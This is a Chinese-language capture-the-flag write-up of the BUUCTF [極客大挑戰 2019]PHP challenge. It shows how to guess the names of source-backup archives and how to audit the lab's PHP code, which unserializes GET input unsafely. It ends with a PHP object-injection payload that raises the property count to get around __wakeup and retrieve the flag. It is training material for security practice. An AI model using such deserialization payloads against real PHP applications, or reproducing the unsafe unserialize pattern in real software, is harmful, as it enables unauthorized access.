題目來源:BUUCTF??[極客大挑戰 2019]PHP
目錄
一、打開靶機,整理信息
二、解題思路
step 1:目錄掃描、爆破
step 2:代碼審計
1.index.php
2.class.php
3.flag.php
step 3:繞過__wakeup重置
?編輯
三、小結
一、打開靶機,整理信息
? ? ? ? 根據題目名稱php,以及頁面的備份網站的提示,這里應該有下載備份文件,里面應該有php文件要進行代碼審計
二、解題思路
step 1:目錄掃描、爆破
目錄掃描文件太多了,找不到有用信息,可以嘗試輸入網站源碼備份文件,看看能不能碰對
常見的網站源碼備份文件后綴:
tar、tgz、zip、rar、bak、7z
常見的網站源碼備份文件名:
web、website、backup、back、www、wwwroot、temp
爆破一下
? ? ? ? url傳參看看,得到一個壓縮文件夾,點進去得到一堆源碼文件
? ? ? ? 整理一下進行代碼審計
step 2:代碼審計
1.index.php
index.php主要是設計,有用信息已經摘抄了
<?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select);?>
? ? ? ? 文件包含class.php文件,并且是GET傳參,參數為select,然后將其進行反序列化
2.class.php
<?php
include 'flag.php';error_reporting(0);class Name{//設置兩個私有變量private $username = 'nonono';private $password = 'yesyes';//利用__construct構造函數,在創建對象時初始化$username和$password屬性public function __construct($username,$password){$this->username = $username;$this->password = $password;}//當對象被反序列化時,__wakeup方法會被自動調用,將$username重置為guestfunction __wakeup(){$this->username = 'guest';}//當對象被銷毀時,__destruct方法會被自動調用function __destruct(){if ($this->password != 100) { //檢查password是否等于100echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') { //如果password等于100,則進一步檢查username是否等于admin,等于則輸出flagglobal $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>
代碼總結:要想輸出flag信息,就要繞過__wakeup重置,并且password要等于100,username要等于admin
3.flag.php
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
????????什么也不是
step 3:繞過__wakeup重置
? ? ? ? 根據上面代碼審計結果,用腳本得到payload,腳本來源:[極客大挑戰 2019]PHP 1_php 在線挑戰-CSDN博客
<?php
class Name{private $username = 'admin';private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>
序列化結果有未顯示字符,另外繞過wakeup方法要讓成員屬性數目大于實際數目
當成員屬性數目大于實際數目時可繞過wakeup方法
? ? ? ? 所以要將序列化結果中的2改為3,將未顯示字符變為%00,再傳參
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
? ? ? ? 得到flag
三、小結
1.常見的網站源碼備份文件后綴:
tar、tgz、zip、rar、bak、7z
常見的網站源碼備份文件名:
web、website、backup、back、www、wwwroot、temp
2.當成員屬性數目大于實際數目時可繞過wakeup方法